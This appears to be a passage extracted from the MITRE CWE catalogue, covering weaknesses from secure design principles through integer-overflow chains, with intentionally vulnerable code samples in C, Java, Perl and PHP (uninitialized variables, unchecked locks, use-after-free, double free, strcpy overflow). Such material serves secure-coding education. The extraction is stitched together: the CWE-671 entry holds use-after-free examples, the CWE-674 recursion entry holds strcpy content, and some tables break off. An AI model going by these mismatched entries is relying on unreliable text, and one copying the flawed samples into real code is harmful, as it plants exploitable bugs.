Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

Phase: Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

Demonstrative Examples

Example 1:

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption, CWE-311), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

Observed Examples

Reference	Description
CVE-2006-6588	Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6588*
CVE-2006-7142	Hard-coded cryptographic key stored in executable program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7142*
CVE-2005-4002	Hard-coded cryptographic key stored in executable program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4002*
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4068*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	1946

Notes

Relationship

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

CWE-657: Violation of Secure Design Principles

Weakness ID : 657 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product violates well-established principles for secure design.

Extended Description

This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-662: Improper Synchronization

Weakness ID : 662 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.

Extended Description

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID : 663 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID : 664 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

The software does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When software does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

62	Cross Site Request Forgery
196	Session Credential Falsification through Forging

CWE-665: Improper Initialization

Weakness ID : 665 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Access Control	Bypass Protection Mechanism *If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.*	
Availability	DoS: Crash, Exit, or Restart *The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may*	

Scope	Impact	Likelihood
	produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2001-1471	chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1471*
CVE-2008-3637	Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3637*
CVE-2008-4197	Use of uninitialized memory may allow code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4197*

CWE-666: Operation on Resource in Wrong Phase of Lifetime

Weakness ID : 666 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

Extended Description

When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	V	415	Double Free	901
ParentOf	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1183
ParentOf	B	605	Multiple Binds to the Same Port	1205
ParentOf	C	672	Operation on a Resource after Expiration or Release	1310
ParentOf	B	826	Premature Release of Resource During Expected Lifetime	1525

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Follow the resource's lifecycle from creation to release.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory

CWE-667: Improper Locking

Weakness ID : 667 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

Extended Description

Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ParentOf	B	1234	Hardware Internal or Debug Modes Allow Override of Locks	1751

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1288

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) *Inconsistent locking discipline can lead to deadlock.*	

Potential Mitigations

Phase: Implementation

Strategy = Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.

Demonstrative Examples

Example 1:

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

Example Language: Java *(bad)*

```
private long someLongValue;
public long getLongValue() {
    return someLongValue;
}
public void setLongValue(long l) {
    someLongValue = l;
}
```

Example 2:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP *(bad)*

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logFile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

Example Language: *(good)*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 4:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java *(bad)*

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language: *(bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

Observed Examples

Reference	Description
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0935*
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4210*
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4302*
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1243*

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID : 668 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be

"users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

CWE-669: Incorrect Resource Transfer Between Spheres

Weakness ID : 669 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Background Details

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users

who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data Unexpected State

CWE-670: Always-Incorrect Control Flow Implementation

Weakness ID : 670 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

Extended Description

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046

Notes

Maintenance

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

CWE-671: Lack of Administrator Control over Security

Weakness ID : 671 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.

Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ParentOf	V	416	Use After Free	904

Nature	Type	ID	Name	Page
ParentOf	B	613	Insufficient Session Expiration	1219

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality	Modify Application Data Read Application Data *If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.*	
Other Availability	Other DoS: Crash, Exit, or Restart *When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.*	

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C *(bad)*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 3:

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

Example Language: C *(bad)*

```
#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
    int result = SUCCESS;
    int length = getMessageLength(message[0]);
    char *messageBody;
    if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
        messageBody = (char*)malloc(length*sizeof(char));
        messageBody = &message[1][0];
        int success = processMessageBody(messageBody);
        if (success == ERROR) {
            result = ERROR;
            free(messageBody);
        }
    }
    else {
        printf("Unable to process message; invalid message length");
        result = FAIL;
    }
    if (result == ERROR) {
        logError("Error processing message", messageBody);
    }
    return result;
}
```

However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

Example Language: C *(good)*

```
...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
    result = ERROR;
    logError("Error processing message", messageBody);
    free(messageBody);
}
...
```

Observed Examples

CWE-673: External Influence of Sphere Definition

Weakness ID : 673 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not prevent the definition of control spheres from external actors.

Extended Description

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	426	Untrusted Search Path	917

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

Example 2:

In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

CWE-674: Uncontrolled Recursion

Weakness ID : 674 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Cost effective for partial coverage: Binary / Bytecode Quality Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger Cost effective for partial coverage: Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Warning Flags Source Code Quality Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Build and Compilation

Phase: Implementation

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [REF-554] [REF-7]

Demonstrative Examples

Example 1:

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

Example Language: C *(bad)*

```
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Observed Examples

Reference	Description
CVE-2007-1470	Library has multiple buffer overflows using sprintf() and strcpy() *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1470*

Notes

Relationship

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Dangerous Functions
CERT C Secure Coding	CON33-C	CWE More Abstract	Avoid race conditions when using library functions
CERT C Secure Coding	ENV33-C	CWE More Abstract	Do not call system()
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	ERR34-C	CWE More Abstract	Detect errors when converting a string to a number
CERT C Secure Coding	FIO01-C		Be careful using functions that use file names for identification
CERT C Secure Coding	MSC30-C	CWE More Abstract	Do not use the rand() function for generating pseudorandom numbers

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
Software Fault Patterns	SFP3		Use of an improper API

CWE-680: Integer Overflow to Buffer Overflow

Weakness ID : 680 **Status:** Draft
Structure : Chain
Abstraction : Compound

Description

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

Chain Components

Nature	Type	ID	Name	Page
StartsWith	B	190	Integer Overflow or Wraparound	437
FollowedBy	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Applicable Platforms

